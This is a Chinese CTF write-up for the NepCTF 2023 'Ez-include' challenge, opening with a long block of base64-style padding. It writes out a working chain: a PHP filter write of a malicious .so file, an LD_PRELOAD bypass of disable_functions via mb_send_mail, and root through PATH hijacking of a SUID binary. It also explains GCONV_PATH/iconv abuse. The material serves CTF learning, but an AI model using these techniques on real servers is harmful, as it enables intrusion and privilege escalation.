AAAAUAAAAAAAAAAAAAAOA/AAAAAAAABgAAAAYAAAAAAAAAAAAAAABAAAAAAAAABwAAAAIAAAAAAAAAAAAAAAhAAAAAAAAABwAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");
成功写进去了
接下来就是劫持环境变量，然后去执行这个恶意so文件中的函数即可：
post:
1=var_dump(scandir("/tmp/"));
putenv("LD_PRELOAD=/tmp/poc.so");
mb_send_mail("","","");
反弹到shell了，接下来就需要提权了
根目录下有个showmsg文件，具有s权限位
他的源码是src.c:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>int main(int argc, char **argv, char **envp) {gid_t gid;uid_t uid;gid = getegid();uid = geteuid();setresgid(gid, gid, gid);setresuid(uid, uid, uid);printf("Thank you! This is the final step. --From lx56\n");return system("cat /tmp/resources/4.txt");
}
会调用到cat，很明显可以使用环境变量提权:
cd /tmp
echo "/bin/sh" > cat
chmod 777 cat
export PATH=/tmp:$PATH
cd /
./showmsg
tac flag
(cat被污染了，所以不能用cat)
知识点
学到了LFI2RCE ，LD_PRELOAD绕过disable_functions
https://www.yuque.com/dat0u/ctf/gle88r6ghcn1891u#yvenp
https://boogipop.com/2023/08/14/NepCTF%202023%20All%20WriteUP/#Ez-include
https://xz.aliyun.com/t/4623#toc-7
https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html#error_log
法二：GCONV绕过disable_functions
原理：https://www.wangan.com/p/7fy7fg4103b2ee22#%E5%88%A9%E7%94%A8GCONV_PATH%E4%B8%8Eiconv
原理简介：
php 在执行 iconv 函数时，实际上是调用 glibc 中的 iconv 相关函数，其中一个很重要的函数叫做 iconv_open()。
linux 系统提供了一个环境变量：GCONV_PATH，该环境变量能够使 glibc 使用用户自定义的 gconv-modules 文件，因此，如果指定了 GCONV_PATH 的值，iconv_open 函数的执行过程会如下：
1.iconv_open 函数依照 GCONV_PATH 找到 gconv-modules 文件，这个文件中包含了各个字符集的相关信息存储的路径，每个字符集的相关信息存储在一个.so 文件中，即 gconv-modules 文件提供了各个字符集的.so 文件所在位置。
根据 gconv-modules 文件的指示找到参数对应的.so 文件。
调用.so 文件中的 gconv() 和 gonv_init() 函数。
一些其他步骤。
我们的利用方式就是首先在某一文件夹（一般是 /tmp）中上传 gconv-modules 文件，文件中指定我们自定义的字符集文件的.so，然后我们再在.so 文件中的 gonv_init() 函数中书写命令执行函数，之后上传 php 的 shell，内容是使用 php 设定 GCONV_PATH 指向我们的 gconv-modules 文件，然后使用 iconv 函数使我们的恶意代码执行。
https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80
web参考：
https://boogipop.com/2023/08/14/NepCTF%202023%20All%20WriteUP/#Hive-it
https://www.yuque.com/dat0u/ctf/gle88r6ghcn1891u#yvenp
